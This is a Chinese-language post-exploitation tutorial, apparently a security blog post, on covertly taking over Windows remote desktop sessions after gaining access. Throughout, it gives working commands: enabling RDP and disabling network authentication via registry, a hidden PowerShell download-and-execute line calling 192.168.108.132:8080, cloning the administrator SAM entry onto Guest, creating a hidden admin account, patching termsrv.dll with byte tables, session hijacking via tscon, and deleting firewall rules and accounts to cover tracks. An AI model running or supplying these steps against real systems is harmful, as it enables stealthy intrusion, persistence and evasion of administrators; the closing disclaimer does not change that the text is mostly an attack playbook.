Windows远程桌面的奇技淫巧

前言

  • Windows远程桌面简介

远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机)

  • 远程桌面的前置条件

在获取权限后,针对3389进行展开,先查询3389端口是否开启

1
netstat -ano | findstr 3389

发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限)

1
2
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f      (开启)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f (关闭)

若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统)

1
2
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(开启)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(关闭)

1

有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,我们也可以通过注册表进行关闭,避免影响连接(开启同理0替换成1)

1
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

2

为了避免运维人员更改了RDP端口,可以确认下RDP端口

1
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

3

正常若是3389端口为0xd3d(默认是十六进制表示)

4

在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通,这里防火墙设置只允许单独端口放通,减少运维人员的警觉(只允许3389端口放通)

1
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow

通过命令删除防火墙的通行策略(清理痕迹)

1
netsh advfirewall firewall delete rule name="RemoteDesktop"

克隆账户接管administrator桌面

  • 适用场景

在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面

  • 利用步骤(默认情况下需要system权限)

在administrator权限下进行切换(利用PsExec工具进行powershell无文件落地上线system权限)

Strike
1
shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))""

(-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行)

5

查询用户的SID,方便选择克隆对象(常克隆Guest用户,系统自带不易察觉且默认的SID为501)

6

这里克隆administrator用户为Guest用户,将SID为500(对应十六进制为0x1f4)的管理员账号的相关信息导出为admin.reg

1
regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

7

将注册表文件下载到本地方便编辑(下载后默认在本地CS目录的下的download文件夹下,文件下载后需要重命名)

Strike
1
download admin.reg

8

将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改为Guest的SID为1F5(十六进制),并保存为new.reg(方便区分)

9

将new.reg重新上传到受害机中

10

导入编辑好的new.reg文件

1
regedit /s new.reg

修改Guest密码便于远程登录,并及时清理两个reg文件

1
2
net user Guest Admin@123
del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg

11

此时直接进行远程登录Guest账户,其实是administrator账户的系统,成功接管!

12

新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面

  • 适用场景

在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面

  • 利用步骤

添加新隐藏用户

1
net user yuzi$ Admin@123 /add

将新隐藏用户添加到管理员组

1
net localgroup administrators yuzi$ /add

此时直接进行远程登录隐藏账户,进行图形化操作

13

若遇到对方已有用户在线,可能会出现以下界面(Windows sever版本默认支持多用户同时在线,Windows其他版本不支持)

14

此时为了做到更加隐蔽的进行登录(强迫登录会使对方会话掉线),可以修改termsrv.dll文件实现,操作前要将所有权转移给本地管理员,向本地管理员组授予对termsrv.dll文件的“完全控制”权限(若是通过powershell无文件远控的形式执行如下命令可能会出现问题,则需要在可执行木马的远控场景执行命令)

1
2
takeown /F c:\Windows\System32\termsrv.dll /A
icacls c:\Windows\System32\termsrv.dll /grant Administrators:F

修改系统文件可能会导致系统不稳定,确保有原始termsrv.dll文件的备份

1
copy c:\Windows\System32\termsrv.dll termsrv.dll_backup

15

接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地

Strike
1
download c:\Windows\System32\termsrv.dll

在编辑dll前需要确认当前系统的版本号,查看Windows的版本号

1
powershell Get-ComputerInfo -Property WindowsVersion, OsName

16

通过十六进制文本编辑器进行编辑termsrv.dll文件,按照不同的Windows的版本查找对应的字符串标识,替换为B8 00 01 00 00 89 81 38 06 00 00 90

Windows构建 找到字符串
Windows 11 22H2 39 81 3C 06 00 00 0F 84 75 7A 01 00
Windows 10 22H2 39 81 3C 06 00 00 0F 84 85 45 01 00
Windows 11 21H2(RTM) 39 81 3C 06 00 00 0F 84 4F 68 01 00
Windows 10 x64 21H2 39 81 3C 06 00 00 0F 84 DB 61 01 00
Windows 10 x64 21H1 39 81 3C 06 00 0 0F 84 2B 5 F 01 00
Windows 10 x64 20H2 39 81 3C 06 00 00 0F 84 21 68 01 00
Windows 10 x64 2004 39 81 3C 06 00 00 0F 84 D9 51 01 00
Windows 10 x64 1909 39 81 3C 06 00 00 0F 84 5D 61 01 00
Windows 10 x64 1903 39 81 3C 06 00 00 0F 84 5D 61 01 00
Windows 10 x64 1809 39 81 3C 06 00 0 0F 84 3B 2B 01 00
Windows 10 x64 1803 8B 99 3C 06 00 8B 09 38 06 00 00 00
Windows 10 x64 1709 39 81 3C 06 00 00 0F 84 B1 7 D 02 00

17

修改完成后上传至对方,进行强制替换系统自带的termsrv.dll,(替换前需要先停止远程服务,以免发生冲突,替换后再重新启用远程服务)

1
2
3
net stop TermService /y
copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll
net start TermService

18

重新进行3389远程连接,发现已经可以直接登录到新建隐藏管理员桌面,不再出现提示页面

19

借助Windows的特性,直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行(这里以GotoHTTP为例)

20

在攻击机本地进行GotoHTTP远程桌面时候,发现已经成功接管了administrator的实时桌面(由于GotoHTTP是以管理员身份运行的故显示的administrator桌面)

21

若运气不好,发现利用GotoHTTP远程后在锁定页面,此时还可以配合会话劫持进行接管administrator实时桌面

22

接下来进行劫持(劫持administrator的会话),查询可劫持的会话

1
quser

23

以管理员权限运行cmd,创建服务(用于会话劫持的权限需要system,恰好Windows的服务是以system权限运行,其中的1为需要劫持的ID值)

1
sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console"

24

启动并且删除服务后,发现此时的GotoHTTP页面已经成功进入解锁状态的桌面

1
sc start rdp & sc delete rdp & exit 

25

远程结束后进行删除隐藏用户(清理痕迹,这类隐藏用户容易发现)

1
net user yuzi$ /delete

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。